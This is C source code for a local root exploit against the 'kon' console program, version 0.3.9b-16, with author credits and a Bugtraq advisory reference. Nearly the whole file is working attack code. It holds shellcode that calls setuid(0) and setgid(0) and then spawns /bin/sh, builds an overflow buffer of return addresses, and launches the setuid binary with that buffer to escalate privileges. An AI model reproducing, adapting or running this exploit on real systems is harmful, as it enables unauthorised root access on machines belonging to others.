/*
 * Exploit for kon version 0.3.9b-16 by pi3 (pi3ki31ny)
 * Bug founded by redhat security
 * The post in bugtraq:
 * http://securityfocus.com/advisories/5434
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/bin/kon"
#define BUFS 800

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
   return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
      -? <this help screen>
      -o <offset>
      -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char *buf,*path=PATH;
   static char *sh[]={shellcode,NULL};
   int i,opt,offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {
   switch(opt) {
         
    case 'o':

      offset=atoi(optarg);
      break;
      
    case 'p':
      
      path=optarg;
      break;
      
    case '?':
    default:
      
      ussage(argv[0]);
      break;
   }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }
   
   printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   ret=ret_ad(shellcode,path);
   ret+=offset;
   
   printf("\t[+] Using adres 0x%x\n",ret);
   
   buf_addr=(long*)buf;
   
   for(i=0;i<BUFS;i+=4) {
    *(buf_addr) = ret; buf_addr++;
   }

   printf("\nExecuting the vuln program - %s\n\n",path);
   
   execle(path,path,"-Coding", buf, 0, sh);  /* The most important function() :>
             Pozdrowienia dla mcbethh'a (Ox6D6362),
             ty wiesz oco mi chodzi ;D
          */
   
   return 0;
}